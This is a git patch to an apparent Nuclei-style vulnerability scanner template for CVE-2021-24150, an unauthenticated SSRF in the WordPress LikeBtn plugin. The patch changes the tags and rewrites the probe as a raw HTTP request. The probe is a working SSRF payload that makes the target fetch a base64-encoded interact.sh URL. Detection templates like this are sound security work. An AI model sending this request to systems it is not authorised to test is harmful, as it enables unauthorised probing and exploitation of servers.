From 1bbd5362029464a329469452d9bc39c8c1ef1871 Mon Sep 17 00:00:00 2001 From: Prince Chaddha Date: Fri, 7 Oct 2022 01:02:42 +0530 Subject: [PATCH] Update CVE-2021-24150.yaml --- cves/2021/CVE-2021-24150.yaml | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/cves/2021/CVE-2021-24150.yaml b/cves/2021/CVE-2021-24150.yaml index ec1084cc06..cb6e310c61 100644 --- a/cves/2021/CVE-2021-24150.yaml +++ b/cves/2021/CVE-2021-24150.yaml @@ -14,12 +14,14 @@ info: cve-id: CVE-2021-24150 metadata: verified: true - tags: cve,cve2021,wordpress,wp-plugin,wp,ssrf,wpscan,unauthenticated + tags: cve,cve2021,wordpress,wp-plugin,wp,ssrf,wpscan,unauth,likebtn-like-button requests: - - method: GET - path: - - "{{BaseURL}}/wp-admin/admin-ajax.php?action=likebtn_prx&likebtn_q={{base64('http://likebtn.com.interact.sh')}}" + - raw: + - | + @timeout: 10s + GET /wp-admin/admin-ajax.php?action=likebtn_prx&likebtn_q={{base64('http://likebtn.com.interact.sh')}}" HTTP/1.1 + Host: {{Hostname}} matchers-condition: and matchers: